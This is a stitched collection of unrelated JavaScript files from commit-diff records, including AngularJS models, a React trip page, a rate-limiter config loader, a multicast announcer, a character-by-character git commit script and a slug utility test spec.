/* Get all objects from a paginated resource. */ angular.module('getAll', []).factory('getAll', function() { var forEach = angular.forEach; var extend = angular.extend; var getAll = function(output_list, model, offset, params, success, error) { var items = model.get(extend({}, params, {offset: offset}, success, error), function() { forEach(items.objects, function(item) { output_list.push(new model(item)); }); if (items.meta.next !== null) { getAll(output_list, model, items.meta.offset + items.meta.limit, params, success, error); } }); }; return getAll; }); /* Project model. */ angular.module('project', ['ngResource', 'getAll']).factory('Project', function($resource, getAll) { var Project = $resource('/api/v1/project/:id/', {'id': '@id'}); Project.all = function(params, success, error) { var output_list = []; getAll(output_list, Project, 0, params, success, error); return output_list; }; return Project; }); /* Worker model. */ angular.module('worker', ['ngResource', 'getAll', 'project']).factory('Worker', function($resource, getAll, Project) { var Worker = $resource('/api/v1/worker/:id/', {'id': '@id'}); Worker.all = function(params, success, error) { var output_list = []; getAll(output_list, Worker, 0, params, success); return output_list; }; Worker.prototype.get_project = function() { if (!this._project && this.project) { this._project = Project.get({'id': this.project.split('/').splice(-2, 1)[0]}); } return this._project; }; return Worker; }); /* Job template model. */ angular.module('jobTemplate', ['ngResource', 'getAll', 'worker']).factory('JobTemplate', function($resource, getAll, Worker) { var JobTemplate = $resource('/api/v1/job_template/:id/', {'id': '@id'}); JobTemplate.all = function(params, success, error) { var output_list = []; getAll(output_list, JobTemplate, 0, params, success); return output_list; }; JobTemplate.prototype.get_worker = function() { if (!this._worker && this.worker) { this._worker = Worker.get({'id': this.worker.split('/').splice(-2, 1)[0]}); } return this._worker; }; return JobTemplate; }); /* Job model. */ angular.module('job', ['ngResource', 'getAll', 'jobTemplate']).factory('Job', function($resource, getAll, JobTemplate) { var Job = $resource('/api/v1/job/:id/', {'id': '@id'}); Job.all = function(params, success, error) { var output_list = []; getAll(output_list, Job, 0, params, success); return output_list; }; Job.prototype.get_job_template = function() { if (!this._job_template && this.job_template) { this._job_template = JobTemplate.get({'id': this.job_template.split('/').splice(-2, 1)[0]}); } return this._job_template; }; Job.prototype.get_parent = function() { if (!this._parent && this.parent) { this._parent = Job.get({id: this.parent.split('/').splice(-2, 1)[0]}); } return this._parent; }; Job.prototype.get_children = function() { if (!this._children && this.children) { var children = []; this._children = children; angular.forEach(this.children, function(child_uri) { children.push(Job.get({id: child_uri.split('/').splice(-2, 1)[0]})); }); } return this._children; }; return Job; }); /* Run model. */ angular.module('run', ['ngResource', 'getAll', 'job', 'jobrunner.services']).factory('Run', function($resource, getAll, Job, dtformat) { var Run = $resource('/api/v1/run/:id/', {'id': '@id'}); Run.all = function(params, success, error) { var output_list = []; getAll(output_list, Run, 0, params, success); return output_list; }; Run.prototype.get_job = function() { if (!this._job && this.job) { this._job = Job.get({id: this.job.split('/').splice(-2, 1)[0]}); } return this._job; }; Run.prototype.get_duration_string = function() { return dtformat.formatDuration(this.start_dts, this.return_dts); } return Run; });
JavaScript
0
@@ -320,32 +320,16 @@ offset%7D -, success, error ), funct @@ -598,32 +598,80 @@ uccess, error);%0A + %7D else %7B%0A success();%0A %7D%0A @@ -673,24 +673,31 @@ %7D%0A %7D +, error );%0A %7D;%0A%0A @@ -1463,32 +1463,39 @@ params, success +, error );%0A retur @@ -2148,32 +2148,39 @@ params, success +, error );%0A retur
aeee48e40baef4d22abd0c06399032e6197e0cfa
align host and port in settings
ui/mods/connect_buttons/settings.js
ui/mods/connect_buttons/settings.js
(function() { var numberOfButtons = 3 var list = [] for (var i = 1;i <= numberOfButtons;i++) { list.push('server.connect_to_host_'+i) api.settings.definitions.server.settings['connect_to_host_' + i] = { title: 'host ' + i, type: 'text', group: i.toString(), default: '' } list.push('server.connect_to_port_'+i) api.settings.definitions.server.settings['connect_to_port_' + i] = { title: 'port ' + i, type: 'text', group: i.toString(), default: '' } } api.settings.definitions.server.settings['connect_to_host_1'].default = 'localhost' api.settings.definitions.server.settings['connect_to_port_1'].default = '6543' // force model.settingsLists to update model.settingDefinitions(api.settings.definitions) var dummy = ko.observable('localhost') model.connectButtonsSettingList = list.map(function(s) { return model.settingsItemMap()[s] }) var settingsHtml = '<div class="form-group">' + '<div class="sub-group" data-bind="foreach: connectButtonsSettingList">' + '<div class="option">' + '<label data-bind="text: title" >' + 'title' + '</label>' + '<input type="text" class="form-control" value="" data-bind="value: value" />' + '</div>' + '</div>' + '</div>' var $group = $(settingsHtml).appendTo('.option-list.server') })()
JavaScript
0
@@ -39,20 +39,22 @@ 3%0A var -list +groups = %5B%5D%0A%0A @@ -101,51 +101,8 @@ ) %7B%0A - list.push('server.connect_to_host_'+i)%0A @@ -271,51 +271,8 @@ %7D%0A - list.push('server.connect_to_port_'+i)%0A @@ -779,80 +779,249 @@ ting -List = list.map(function(s) %7B%0A return model.settingsItemMap()%5Bs +Groups = %5B%5D%0A for (var i = 1;i %3C= numberOfButtons;i++) %7B%0A model.connectButtonsSettingGroups%5Bi-1%5D = %7Bparts: %5B%0A model.settingsItemMap()%5B'server.connect_to_host_'+i%5D,%0A model.settingsItemMap()%5B'server.connect_to_port_'+i %5D%0A + + %5D%7D%0A %7D -) %0A%0A @@ -1068,16 +1068,65 @@ m-group%22 + data-bind=%22foreach: connectButtonsSettingGroups%22 %3E' +%0A @@ -1176,33 +1176,13 @@ ch: -connectButtonsSettingList +parts %22%3E'
f3d69e05655c3daad3da2e24a2f50389b1e9a7ca
Set overflow CSS setting for ideas section
app/components/TripPage.js
app/components/TripPage.js
'use strict'; require('../stylesheets/react-spinner.css'); import React, { Component, PropTypes } from 'react'; import { Button } from 'react-bootstrap'; import Spinner from './Spinner'; import TripIdeas from '../containers/TripIdeas'; import TripMap from '../containers/TripMap'; import { viewTripsPage } from '../actions/navigation'; class TripPage extends Component { componentWillMount() { const { tripId } = this.props.params; const { onGetTrip, trip } = this.props; // Fetch the trip from the server upon load if (!trip) { onGetTrip(tripId); } } render() { const { error, trip } = this.props; if (error) { return ( <div>{error}</div> ); } // Loading UI if (!trip) { return ( <div> <p style={styles.loadingText}>Loading Trip</p> <div> <Spinner /> </div> </div> ); } const tripPlan = trip.plan.map(day => { return ( <p key={day._id}>Day</p> ); }); const titleSection = ( <div style={styles.titleSection}> <h1 style={styles.h1}>{trip.title}</h1> <p>Destination: {trip.destination && trip.destination.name}</p> <p>Visibility: {trip.visibility}</p> </div> ); return ( <div> <div style={styles.leftColumn}> {titleSection} <TripIdeas /> <Button bsStyle="primary" onClick={viewTripsPage}> Home </Button> </div> <div style={styles.rightColumn}> <TripMap /> </div> </div> ); } } TripPage.propTypes = { error: PropTypes.string, onGetTrip: PropTypes.func.isRequired, trip: PropTypes.object }; const styles = { h1: { fontSize: 32 }, leftColumn: { float: 'left', padding: '0 20 0', width: 400 }, loadingText: { color: '#333333', fontFamily: 'Arial', fontSize: 24, textAlign: 'center', margin: 20 }, rightColumn: { marginLeft: 400, padding: '0 20 0' }, titleSection: { marginBottom: 30 } }; export default TripPage;
JavaScript
0
@@ -1838,16 +1838,60 @@ 'left',%0A + height: '100%25',%0A overflow: 'scroll',%0A padd @@ -1894,25 +1894,25 @@ padding: '0 -2 +3 0 0',%0A wi @@ -2092,31 +2092,8 @@ 400 -,%0A padding: '0 20 0' %0A %7D
0488ce417f1e1828d997f376baccdbada6c3e82a
Add complicated way of adding to existing data points
client.js
client.js
var legend = document.getElementById('legend'); var lastUpdated; var chart; var table; function init() { chart = new google.visualization.GeoChart(document.getElementById('chart_div')); table = new google.visualization.DataTable(); table.addColumn('number', 'Lat'); table.addColumn('number', 'Lng'); table.addColumn('number', 'Pageviews'); table.addColumn('number', 'Commitments'); refreshData(); } // Displays the points data provided. function displayPoints(data) { return new Promise(function(resolve, reject) { for (var i = 0; i < data.length; i++) { table.addRow([data[i].Coordinates[0], data[i].Coordinates[1], data[i].Action === 'view' ? 1 : 0, data[i].Action === 'commitment' ? 1 : 0]); var options = { sizeAxis: { minValue: 0, maxValue: 100 }, region: 'world', displayMode: 'markers', colorAxis: { colors: ['#e7711c', '#4374e0'] } // orange to blue }; chart.draw(table, options); } resolve('All points processed'); }); } // https://developers.google.com/web/fundamentals/getting-started/primers/promises function get(url) { // Return a new promise. return new Promise(function(resolve, reject) { // Do the usual XHR stuff var req = new XMLHttpRequest(); var lastUpdatedString = ''; if (lastUpdated != null) { lastUpdatedString = '?lastupdated=' + lastUpdated; } lastUpdated = new Date() / 1000; req.open('GET', url + lastUpdatedString); req.setRequestHeader('Content-Type', 'application/json'); req.onload = function() { // This is called even on 404 etc // so check the status if (req.status == 200) { // Resolve the promise with the response text resolve(req.response); } else { // Otherwise reject with the status text // which will hopefully be a meaningful error reject(Error(req.statusText)); } }; // Handle network errors req.onerror = function() { reject(Error("Network Error")); }; // Make the request req.send(); }); } function callPromise() { return new Promise(function(resolve, reject) { get('/rest/live/read').then(JSON.parse).then(displayPoints).then(function() { console.log("callPromise Success!"); resolve('Success!'); }, function(error) { console.error("callPromise Failed!", error); reject(Error(error)); }); }); } // https://gist.github.com/KartikTalwar/2306741 function refreshData() { x = 3; // 3 Seconds callPromise().then(function() { setTimeout(refreshData, x * 1000); }, function(error) { console.error(error); setTimeout(refreshData, x * 1000); }); }
JavaScript
0.000096
@@ -335,20 +335,31 @@ ', ' -Pageviews'); +Commitments'); // Color %0A t @@ -384,30 +384,36 @@ mber', ' -Commitments'); +Pageviews'); // Size %0A refre @@ -598,22 +598,63 @@ -table.ad +var lookup = table.getFiltere dRow +s (%5B +%7Bcolumn: 0, value: data @@ -671,17 +671,37 @@ nates%5B0%5D +%7D , + %7Bcolumn: 1, value: data%5Bi%5D @@ -719,87 +719,383 @@ s%5B1%5D -, data%5Bi%5D.Action === 'view' ? 1 : 0, data%5Bi%5D.Action === 'commitment' ? 1 : 0%5D); +%7D%5D);%0A if (lookup.length %3E 0) %7B%0A table.setCell(lookup%5B0%5D, data%5Bi%5D.Action === 'commitment' ? 2 : 3, (table.getValue(lookup%5B0%5D, data%5Bi%5D.Action === 'commitment' ? 2 : 3)) + 1);%0A %7D else %7B%0A table.addRow(%5Bdata%5Bi%5D.Coordinates%5B0%5D, data%5Bi%5D.Coordinates%5B1%5D, data%5Bi%5D.Action === 'commitment' ? 1 : 0, data%5Bi%5D.Coordinates%5B1%5D, data%5Bi%5D.Action === 'view' ? 1 : 0%5D);%0A %7D %0A @@ -1309,26 +1309,16 @@ 4374e0'%5D -%0A %7D // oran @@ -1328,16 +1328,26 @@ to blue%0A + %7D%0A %7D;
6ffe80fb7b2dd3ee20b27bd44023dde56fb063fa
Fix lint errors
lib/node_modules/@stdlib/utils/find/lib/find.js
lib/node_modules/@stdlib/utils/find/lib/find.js
'use strict'; // MODULES // var isFunction = require( '@stdlib/utils/is-function' ); var isInteger = require( '@stdlib/utils/is-integer' ).isPrimitive; var isObject = require( '@stdlib/utils/is-plain-object' ); var isString = require( '@stdlib/utils/is-string' ).isPrimitive; var isArrayLike = require( '@stdlib/utils/is-array-like' ); var hasOwnProp = require( '@stdlib/utils/has-own-property' ); // MAIN // /** * Finds elements in an array-like object that satisfy a test condition. * * @param {(Array|TypedArray|string)} arr - object from which elements will be tested * @param {Options} [opts] - function options * @param {integer} [opts.k=arr.length] - limits the number of returned elements * @param {string} [opts.returns='indices'] - if `values`, values are returned; if `indices`, indices are returned; if `*`, both indices and values are returned * @param {Function} clbk - function invoked for each array element. If the return value is truthy, the value is considered to have satisfied the test condition. * @throws {TypeError} arr must be an array-like object * @throws {TypeError} options must be an options object * @throws {TypeError} callback argument must be a function * @throws {TypeError} option `k` must be an integer * @throws {TypeError} option `returns` must be a string equal to `values`, `indices` or `*` * @returns {Array} array of indices, element values, or arrays of index-value pairs * * @example * var data = [ 30, 20, 50, 60, 10 ]; * var vals = find( data, condition ); * // returns [ 0, 2, 3 ] * * function condition( val ) { * return val > 20; * } * * @example * var data = [ 30, 20, 50, 60, 10 ]; * var opts = { * 'k': 2, * 'returns': 'values' * }; * var vals = find( data, opts, condition ); * // returns [ 30, 50 ] * * function condition( val ) { * return val > 20; * } * * @example * var data = [ 30, 20, 50, 60, 10 ]; * var vals = find( data, condition ); * // returns [] * * function condition( val ) { * return val > 1000; * } * * @example * var data = [ 30, 20, 50, 60, 10 ]; * var opts = { * 'k': -2, * 'returns': 'values' * }; * var vals = find( data, opts, condition ); * // returns [ 60, 50 ] * * function condition( val ) { * return val > 20; * } * * @example * var data = [ 30, 20, 50, 60, 10 ]; * var opts = { * 'k': -2, * 'returns': '*' * }; * var vals = find( data, opts, condition ); * // returns [ [3, 60], [2, 50] ] * * function condition( val ) { * return val > 20; * } */ function find( arr, opts, clbk ) { var returns; var count; var mode; var len; var out; var ret; var i; var k; var v; mode = 0; returns = [ 'values', 'indices', '*' ]; if ( !isArrayLike( arr ) ) { throw new TypeError( 'invalid input argument. Must provide an array-like object. Value: `' + arr + '`' ); } len = arr.length; if ( arguments.length < 3 ) { clbk = opts; opts = {}; } if ( !isFunction( clbk ) ) { throw new TypeError( 'invalid input argument. Callback argument must be a function. Value: `' + clbk + '`' ); } if ( !isObject( opts ) ) { throw new TypeError( 'invalid input argument. Options must be an object. Value: `' + opts + '`' ); } if ( hasOwnProp( opts, 'k' ) ) { k = opts.k; if ( !isInteger( k ) ) { throw new TypeError( 'invalid input argument. `k` must be an integer. Value: `' + k + '`' ); } } else { k = len; } if ( hasOwnProp( opts, 'returns' ) ) { ret = opts.returns; if ( !isString( ret ) || returns.indexOf( ret ) === -1 ) { throw new TypeError( 'invalid input argument. `returns` option must be a string and have one of the following values: `values`, `indices`, `all`. Value: `' + ret + '`' ); } if ( ret === 'values' ) { mode = 1; } else if ( ret === '*' ) { mode = 2; } } out = []; count = 0; if ( k === 0 ) { return out; } if ( k > 0 ) { // Search moving from begin-to-end [0,1,...]: for ( i = 0; i < len; i++ ) { v = arr[ i ]; if ( clbk( v, i, arr ) ) { if ( mode === 2 ) { out.push( [ i, v ] ); } else if ( mode === 1 ) { out.push( v ); } else { out.push( i ); } if ( ++count === k ) { break; } } } return out; } // Search moving from end-to-begin [...,2,1,0]: k = -k; for ( i = len-1; i >= 0; i-- ) { v = arr[ i ]; if ( clbk( v, i, arr ) ) { if ( mode === 2 ) { out.push( [ i, v ] ); } else if ( mode === 1 ) { out.push( v ); } else { out.push( i ); } if ( ++count === k ) { break; } } } return out; } // end FUNCTION find() // EXPORTS // module.exports = find;
JavaScript
0.000396
@@ -2506,16 +2506,52 @@ clbk ) %7B + // eslint-disable-line no-redeclare %0A%09var re @@ -4121,16 +4121,32 @@ ;%0A%09%09%09%09%7D%0A +%09%09%09%09count += 1;%0A %09%09%09%09if ( @@ -4138,34 +4138,32 @@ += 1;%0A%09%09%09%09if ( -++ count === k ) %7B%0A @@ -4477,24 +4477,39 @@ );%0A%09%09%09%7D%0A +%09%09%09count += 1;%0A %09%09%09if ( ++count @@ -4500,18 +4500,16 @@ %09%09%09if ( -++ count ==
5f9003668d9e371567bb1428a45891722bd8907d
fix error
app/javascript/pages/country/components/widget-tree-loss/widget-tree-loss-component.js
app/javascript/pages/country/components/widget-tree-loss/widget-tree-loss-component.js
import React, { PureComponent } from 'react'; import PropTypes from 'prop-types'; import { BarChart, Bar, XAxis, YAxis, CartesianGrid, Tooltip, ResponsiveContainer } from 'recharts'; import numeral from 'numeral'; import WidgetUpdating from '../widget-updating/widget-updating'; import TooltipChart from '../tooltip-chart/tooltip-chart'; import WidgetHeader from '../widget-header/widget-header'; import WidgetTreeLossSettings from './widget-tree-loss-settings-component'; class WidgetTreeLoss extends PureComponent { componentDidMount() { const { setInitialData } = this.props; setInitialData(this.props); } componentWillUpdate(nextProps) { const { updateData, settings, } = this.props; if (JSON.stringify(settings) !== JSON.stringify(nextProps.settings)) { updateData(nextProps); } } render() { const { isLoading, viewOnMap, minYear, maxYear, total, yearsLoss, years, units, settings, canopies, regions, setTreeLossSettingsUnit, setTreeLossSettingsCanopy, setTreeLossSettingsStartYear, setTreeLossSettingsEndYear, isUpdating } = this.props; if (isLoading) { return <div className="c-loading -widget"><div className="loader">Loading...</div></div> } else { console.log(isUpdating); const unitMeasure = settings.unit === 'Ha' ? 'Ha' : '%'; return ( <div className="c-widget c-widget-tree-loss"> <WidgetHeader title={`Tree cover loss`} viewOnMapCallback={viewOnMap}> <WidgetTreeLossSettings type="settings" regions={regions} units={units} canopies={canopies} settings={settings} yearsLoss={yearsLoss} onUnitChange={setTreeLossSettingsUnit} onCanopyChange={setTreeLossSettingsCanopy} onStartYearChange={setTreeLossSettingsStartYear} onEndYearChange={setTreeLossSettingsEndYear}/> </WidgetHeader> <div className="c-widget-tree-loss__legend"> <div> <div className="c-widget-tree-loss__legend-title">Total Tree Cover Loss</div> <div className="c-widget-tree-loss__legend-years">({`${settings.startYear} - ${settings.endYear}`})</div> </div> <div> <div className="c-widget-tree-loss__legend-title"> <span style={{backgroundColor: '#f26798'}}></span> Country-wide </div> <div className="c-widget-tree-loss__legend-value" style={{color: '#f26798'}}> {settings.unit === 'Ha' ? numeral(Math.round(total / 1000)).format('0,0') : Math.round(total)}{unitMeasure} </div> </div> </div> <div className="c-widget-tree-loss__chart"> <ResponsiveContainer height={300} width={'100%'}> <BarChart width={627} height={300} data={years} margin={{top: 5, right: 30, left: 20, bottom: 5}}> <XAxis dataKey="date" padding={{ top: 135}} axisLine={false} tickLine={false} /> <YAxis axisLine={false} tickLine={false} tickCount={7} tickFormatter={(d) => numeral(Math.round(d / 1000)).format('0,0')} /> <CartesianGrid vertical={false} strokeDasharray="3 4" /> <Tooltip content={<TooltipChart/>} /> <Bar dataKey="value" barSize={22} fill="#fe6598" /> <Tooltip content={<TooltipChart/>} /> </BarChart> </ResponsiveContainer> </div> {isUpdating ? <WidgetUpdating /> : null} </div> ) } } } WidgetTreeLoss.propTypes = { isLoading: PropTypes.bool.isRequired, setInitialData: PropTypes.func.isRequired, viewOnMap: PropTypes.func.isRequired, yearsLoss: PropTypes.array.isRequired, years: PropTypes.array.isRequired }; export default WidgetTreeLoss;
JavaScript
0.000002
@@ -1344,39 +1344,8 @@ e %7B%0A - console.log(isUpdating);%0A
8a1a5a6399456e2e51c9c03615163411204c134c
Add debug logging on config loading
lib/reverse-proxy-rate-limiter/limits-config.js
lib/reverse-proxy-rate-limiter/limits-config.js
"use strict"; var fs = require('fs'), request = require("request"), url = require("url"), limitsConfigSchema = require('./limits-config-schema'), Bucket = require("./bucket").Bucket, log4js = require('log4js'); exports.isValidConfig = isValidConfig; exports.LimitsConfiguration = LimitsConfiguration; exports.LimitsConfigurationLoader = LimitsConfigurationLoader; exports.defaultLimitsConfig = { version: 1, max_requests: 0, // 0 means unlimited buffer_ratio: 0, buckets: [{name: "default"}] }; if (!isValidConfig(exports.defaultLimitsConfig)) { throw new Error("Invalid defaultLimitsConfig"); } var logger = log4js.getLogger(); function LimitsConfiguration(cfg) { this.buckets = []; this.bufferRatio = cfg.buffer_ratio; this.maxRequests = cfg.max_requests; this.maxRequestsWithoutBuffer = Math.floor(this.maxRequests * (1 - this.bufferRatio)); this.healthcheckUrl = cfg.healthcheck_url; this.buckets = this.initializeBuckets(cfg.buckets); var sumOfCapacityUnits = this.calculateTotalCapacityUnits(); this.buckets.forEach(function (bucket) { if (sumOfCapacityUnits === 0) { bucket.maxRequests = 0; } else { var bucketCapacityRatio = bucket.capacityUnit / sumOfCapacityUnits; bucket.maxRequests = Math.ceil(this.maxRequestsWithoutBuffer * bucketCapacityRatio); } }, this); } LimitsConfiguration.prototype = { initializeBuckets: function (buckets) { var defaultBucket = null; var initializedBuckets = []; buckets.forEach(function (bucketConfig) { var bucket = new Bucket(bucketConfig); if (bucket.isDefault()) { if (defaultBucket !== null) { throw new Error("There is more than one default buckets defined in the limits configuration."); } defaultBucket = bucket; // we will push it separately to be at the end of the array } else { initializedBuckets.push(bucket); } }); if (defaultBucket === null) { throw new Error("No default bucket was set."); } initializedBuckets.push(defaultBucket); return initializedBuckets; }, calculateTotalCapacityUnits: function () { var capacityUnits = 0; this.buckets.forEach(function (bucket) { capacityUnits += bucket.capacityUnit; }); return capacityUnits; } }; function LimitsConfigurationLoader(configEndpoint) { this.configEndpoint = configEndpoint; this.limitsConfigurationSource = null; } LimitsConfigurationLoader.prototype = { load: function (callback) { this.limitsConfigurationSource = new LimitsConfigurationSource(this.configEndpoint); var forwardValidConfigCallback = this.buildForwardValidConfigCallback(callback); if (this.limitsConfigurationSource.isUrl()) { this.loadFromURL(this.configEndpoint, forwardValidConfigCallback); } else if (this.limitsConfigurationSource.isFilePath()) { this.loadFromFile(this.limitsConfigurationSource.parsedConfigEndpoint.path, forwardValidConfigCallback); } else { throw new Error("Illegal url: " + this.configEndpoint); } }, buildForwardValidConfigCallback: function (callback) { var _this = this; return function (config) { if (isValidConfig(config)) { callback(config); } else { logger.error("Could not load config from " + _this.configEndpoint + ". Using the existing limits configuration..."); callback(null); } }; }, loadFromURL: function (url, forwardValidConfigCallback) { request({ url: url, json: true }, function (error, response, body) { if (!error && response.statusCode === 200) { forwardValidConfigCallback(body); } else { logger.error("Could not load config from url. " + error + "; url: " + url); forwardValidConfigCallback(null); } }); }, loadFromFile: function (path, forwardValidConfigCallback) { fs.readFile(path, {encoding: 'utf8'}, function (err, data) { if (err) { logger.error("Could not load config from file. " + err + "; file: " + path); } else { forwardValidConfigCallback(JSON.parse(data)); } }); } }; function LimitsConfigurationSource(configEndpoint) { this.parsedConfigEndpoint = url.parse(configEndpoint); } LimitsConfigurationSource.prototype = { isUrl: function () { return this.parsedConfigEndpoint.protocol === "https:" || this.parsedConfigEndpoint.protocol === "http:"; }, isFilePath: function () { return this.parsedConfigEndpoint.protocol === "file:"; } }; function isValidConfig(config) { var result = limitsConfigSchema.validate(config); if (result.errors.length > 0) { logger.error("Invalid config: " + result.errors); } return result.valid; }
JavaScript
0.000001
@@ -3795,32 +3795,89 @@ nfigCallback) %7B%0A + logger.debug(%22Loading config from URL: %22 + url);%0A request( @@ -3878,16 +3878,16 @@ quest(%7B%0A - @@ -4022,24 +4022,92 @@ === 200) %7B%0A + logger.debug(%22Getting config from URL succeeded.%22);%0A @@ -4397,32 +4397,91 @@ nfigCallback) %7B%0A + logger.debug(%22Loading config from file: %22 + path);%0A fs.readF @@ -4641,32 +4641,32 @@ ile: %22 + path);%0A - %7D el @@ -4662,32 +4662,101 @@ %7D else %7B%0A + logger.debug(%22Getting config from file succeeded.%22);%0A
2520116535b90f37cc05923eae8ba9b258f27244
Add UTC to end of pretty ranges, for email purposes
api/models/event/mixin.js
api/models/event/mixin.js
import { uniq, difference } from 'lodash/fp' import moment from 'moment' export default { isEvent () { return this.get('type') === Post.Type.EVENT }, eventInvitees: function () { return this.belongsToMany(User).through(EventInvitation, 'event_id', 'user_id') .withPivot('response') }, eventInvitations: function () { return this.isEvent() ? this.hasMany(EventInvitation, 'event_id') : false }, userEventInvitation: function (userId) { return this.eventInvitations().query({ where: { user_id: userId } }).fetchOne() }, removeEventInvitees: async function (userIds, opts) { return Promise.map(userIds, async userId => { const invitation = await EventInvitation.find({ userId, eventId: this.id }) return invitation.destroy(opts) }) }, addEventInvitees: async function (userIds, inviterId, opts) { return Promise.map(uniq(userIds), async userId => { const invitation = await EventInvitation.find({ userId, eventId: this.id }) if (invitation) return return EventInvitation.create({ userId, inviterId, eventId: this.id }, opts) }) }, updateEventInvitees: async function (userIds, inviterId, opts) { const eventInviteeIds = (await this.eventInvitees().fetch()).pluck('id') const toRemove = difference(eventInviteeIds, userIds) const toAdd = difference(userIds, eventInviteeIds) await this.removeEventInvitees(toRemove, opts) return this.addEventInvitees(toAdd, inviterId, opts) }, prettyEventDates: function (startTime, endTime) { if (!startTime && !endTime) return null const start = moment(startTime) const end = moment(endTime) const from = start.format('ddd, MMM D [at] h:mmA') let to = '' if (endTime) { if (end.month() !== start.month()) { to = end.format(' - ddd, MMM D [at] h:mmA') } else if (end.day() !== start.day()) { to = end.format(' - ddd D [at] h:mmA') } else { to = end.format(' - h:mmA') } } return from + to }, createInviteNotifications: async function (userId, inviteeIds) { const invitees = inviteeIds.map(inviteeId => ({ reader_id: inviteeId, post_id: this.id, actor_id: userId, reason: 'eventInvitation' })) return Activity.saveForReasons(invitees) } }
JavaScript
0
@@ -2051,16 +2051,34 @@ rom + to + + %22 UTC timezone%22 %0A %7D,%0A%0A
c85de6fcb610e90547b91b8647ae13d7c7a40c73
Address -> Host to stress that port is a separate option
announce.js
announce.js
var dgram = require('dgram'); var MULTICAST_ADDRESS = '224.0.0.234'; var MULTICAST_PORT = 60547; module.exports = function(me, options, callback) { var server = dgram.createSocket('udp4'); var env = process.env; var hosts = {}; var found = 0; var loopTimer; var port = options.port || MULTICAST_PORT; var address = options.address || MULTICAST_ADDRESS; var multicast = !(options.multicast === false || (options.multicast === undefined && process.env.NODE_ENV === 'development')); var clear = function() { hosts = {}; }; var encode = function() { return 'ann;' + me + (Object.keys(hosts).length ? ';' + Object.keys(hosts).join(';') : ''); }; var send = function(msg) { msg = new Buffer(msg); server.send(msg, 0, msg.length, port, address); }; var find = function() { var then = found; var timeout = 10; var loop = function() { if (then < found) return find(); if (timeout > 15000) return clear(); send(encode()); loopTimer = setTimeout(loop, timeout *= 2); }; loop(); }; me = Math.random().toString(16).substr(2) + '@' + me; process.env = {}; server.bind(port); process.env = env; server.on('listening', function() { if (!multicast) server.setMulticastTTL(0); try { server.addMembership(address); } catch (e) { callback(e); } }); server.on('message', function(message, rinfo) { var parts = message.toString().split(';'); var type = parts[0]; var from = parts[1]; if (parts.indexOf(me, 2) > -1) return; if (from === me) return; if (!from) return; if (type === 'ann') { send('ack;' + me); } if (!hosts[from]) { found++; hosts[from] = 1; callback(null, from.split('@')[1]); } }); find(); var announcer = {}; announcer.close = function() { if (server) { server.close(); server = null; } clearTimeout(loopTimer); }; return announcer; };
JavaScript
0
@@ -308,23 +308,20 @@ T;%0A%09var -address +host = optio @@ -323,23 +323,20 @@ options. -address +host %7C%7C MULT @@ -741,23 +741,20 @@ , port, -address +host );%0A%09%7D;%0A%09 @@ -1241,15 +1241,12 @@ hip( -address +host );%0A%09
8d49327ae4debf0205e3492159b17ae1c1ed7116
Update character
commit.js
commit.js
var fs = require('fs'); var child_process = require('child_process') var max_sleep = 300 if ( process.argv[ 2 ] && process.argv[ 3 ] ) { var inFile = process.argv[ 2 ] var outFile = process.argv[ 3 ] if (process.argv [ 4 ]) max_sleep = process.argv [ 4 ] console.info("Writing from %s to %s, with up to %s seconds between commits", inFile, outFile, max_sleep) var outFD = fs.openSync(outFile, 'w') fs.readFile(inFile, function(err,data) { var length = data.length console.info("Bytes: %s", length) try { child_process.execFileSync('/usr/bin/git', ['add', outFile]) } catch (e) { console.error("Couldn't add %s to git: %s", outFile, e) } var args = ['commit', outFile, '-m', 'Update character'] for (var counter = 0; counter < length; counter++) { fs.writeSync(outFD, data.slice(counter, counter+1), 0, 1) sleep(Math.random() * max_sleep) child_process.execFileSync('/usr/bin/git', args) } }) } function
JavaScript
0
@@ -978,8 +978,9 @@ unction +s
8c57ddfbc40e696fe40980f27f99926c88034fe3
Update slug.spec.js
src/__tests__/slug.spec.js
src/__tests__/slug.spec.js
import { expect } from 'chai'; import slugizoid from '../index'; describe('slugizoid', () => { describe('.toString', () => { it('should be a function with arity 1', () => { // Arrange const slug = slugizoid('pUll_reQUeSt'); // Assert expect(slug.toString) .to.be.a('function') .with.lengthOf(1); }); it('should return a singular space deliminated pascal case by default', () => { // Arrange const slug = slugizoid('pull_request'); // Assert expect(slug.toString()).to.equal('Pull Request'); }); describe('options', () => { describe('.plural', () => { it('should allow pluralized readable verison of slug', () => { // Arrange const slug = slugizoid('pull_request'); // Assert expect(slug.toString({ plural: true })).to.equal('Pull Requests'); }); }); describe('.format', () => { it('should allow formating of camel 🐫', async () => { // Arrange const slug = slugizoid('pull_request'); // Assert expect(slug.toString({ format: 'camel' })).to.equal('pullRequest'); }); it('should allow formating of camel 🐫 and plural', async () => { // Arrange const slug = slugizoid('pull_request'); // Assert expect(slug.toString({ format: 'camel', plural: true })).to.equal( 'pullRequests' ); }); }); }); }); describe('slugify', () => { it('should be a function with artiy 0', () => { // Arrange const slug = slugizoid('pull_request'); // Assert expect(slug.slugify) .to.be.a('function') .with.lengthOf(0); }); it('should always return the singular, _ deliminated verison of slug', () => { // Arrange const slug = slugizoid('pull-requests'); // Act const result = slug.slugify(); // Assert expect(result.includes('-')).to.be.false; expect(result.includes('requests')).to.be.false; expect(result).to.be.equal('pull_request'); }); }); describe('.urlify', () => { it('should be a function with arity 0', () => { // Arrange const slug = slugizoid('pull_request'); // Assert expect(slug.urlify) .to.be.a('function') .with.lengthOf(0); }); it('should output the corrent slug with long words', () => { // Assert expect( slugizoid('this is a really long slug name').urlify() ).to.be.equal('this-is-a-really-long-slug-names'); }); it('should always return the pluralized, - deliminated verions of slug', () => { // Arrange const slug = slugizoid('pull_request'); // Act const result = slug.urlify(); // Assert expect(result.includes('_')).to.be.false; expect(result).to.be.equal('pull-requests'); }); }); describe('creation', () => { const expectedSlug = 'pull_request'; it('should remove non-alphanumeric characters', () => { // Arrange const slug = slugizoid('pull)*&^% -_$#@!(=+}{][]}/\'"`;:.,request'); // Assert expect(slug.slugify()).to.be.equal(expectedSlug); }); describe('plural', () => { it('_ deliminated', () => { // Arrange const slug = slugizoid('pull_requests'); // Assert expect(slug.slugify()).to.be.equal(expectedSlug); }); it('- deliminated', () => { // Arrange const slug = slugizoid('pull-requests'); // Assert expect(slug.slugify()).to.be.equal(expectedSlug); }); it('<space> deliminated', () => { // Arrange const slug = slugizoid('pull requests'); // Assert expect(slug.slugify()).to.be.equal(expectedSlug); }); }); describe('singular', () => { it('_ deliminated', () => { // Arrange const slug = slugizoid('pull_request'); // Assert expect(slug.slugify()).to.be.equal(expectedSlug); }); it('- deliminated', () => { // Arrange const 